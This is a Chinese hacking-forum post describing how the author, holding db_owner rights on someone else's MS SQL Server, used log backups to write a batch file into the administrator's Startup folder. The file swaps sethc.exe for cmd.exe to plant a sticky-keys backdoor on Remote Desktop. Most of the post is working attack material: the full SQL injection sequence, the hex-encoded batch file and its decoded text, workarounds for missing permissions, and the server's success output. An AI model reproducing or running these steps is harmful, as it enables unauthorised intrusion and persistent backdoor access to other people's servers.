WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2256查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-7 11:53:18 |显示全部楼层
作者:百事可乐

详细:

http://jifan.org/post/525/


得到的DB_OWNER权限

想到的是差异备份



exec master..xp_dirtree 'c:\',1,1


列目录

/*利用Url或者sql查询器Log备份一句话或Bat*/



alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--


分析下语句

第一句


alter database [master] set RECOVERY FULL--


master 是数据库名字,一般db权限不行 换库名吧


create table cmd (a image)--


这句的意思建立一个表,表里面一个列,列的数据类型是image


backup log [master] to disk = 'c:\cmd1' with init--


这句就是备份库master里面的log到c:\cmd1



insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--


这句就是在刚才建立的表cmd 列a 里面插入数据


130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A


16进制的批处理

处理原文是


@Echo off
@cd %windir%
@del dir /s /a sethc.exe
@copy %windir%\system32\cmd.exe %windir%\system32\sethc.exe /y
@copy %windir%\system32\cmd.exe %windir%\system32\dllcache\sethc.exe /y


backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--

这句就是备份库master的log到启动项start.bat

里面有批处理


drop table cmd--


删除表

然后等管理登陆3389启动噢

我遇到的问题有

执行第二句的时间


create table cmd (a image)--


master提示拒绝没有权限
不能没创建表的权限就放弃吧
再想想折,我有他db权限.找个空白弄下就ok不是

在库test表test里面找到一个没数据的

这里用到俩命令

删除列


ALTER TABLE 表名 DROP COLUMN 列名


添加列


ALTER TABLE 表名 ADD 列名   VARCHAR(20)


我先执行了删除test里面的所有列

然后执行


ALTER TABLE test ADD a


然后用到的命令是


alter table
语句

网上找了几个实例


引用
--try
create table a
(
name nvarchar(45),
price decimal (19,4),
charge varchar(10)
)
1、nvarchar类型的长度都变为60
alter table a
alter column name nvarchar(60)
2、decimail类型的默认值变为0,小数点后保留2位数
--若默认值已存在先删除后添加 delete constraint 约束名
alter table a
add constraint df_a_price default 0 for price

alter table a
alter column price decimal(19,2)
3、将所以varchar列示类型变为Nvarchar
alter table a
alter column charge nvarchar(60)


我在这里执行的是


alter table [test].[dbo].[test]
alter column a image


意思是改变库test表test列a的数据类型是image


然后稍微改下命令


alter database [test] set RECOVERY FULL--
backup log [test] to disk = 'c:\cmd1' with init--
insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [test] to disk = 'C:\Documents and Settings\administrator\「开始」菜单\程序\启动\start.bat'--


执行成功返回


引用
已处理 2 页,这些页属于数据库 'test' 的文件 'test_Log'(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 2 页,花费了 0.125 秒(0.081 MB/秒)。

(所影响的行数为 1 行)

已处理 1 页,这些页属于数据库 'test' 的文件 'test_Log'(位于文件 1 上)。
BACKUP LOG 操作成功地处理了 1 页,花费了 0.095 秒(0.037 MB/秒)。


ok

看到这里就成功了 然后看下

exec master..xp_dirtree 'C:\Documents and Settings\administrator\「开始」菜单\程序\启动\',1,1

然后返回




成功了
哈哈等管理吧
这里补充的我比较笨蛋.以上是我在本机测试好久的,备份有的库有时间批量命令写不进去的
那样是没有用的


这样才是成功的

大牛绕过呵呵,刚开始的时间想过放弃,不过一步一步摸索'不懂的查gg,嘿,真搞定了.
搞这个不容易,他这个1433只针对一台服务器开放,我费了好大事才搞定那个,然后朋友写了个dll(端口映射,系统服务,比较方面,上3389很容易发现).
这才copy出表,本地能测试.

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-3 20:46 , Processed in 0.054582 second(s), 16 queries .

返回顶部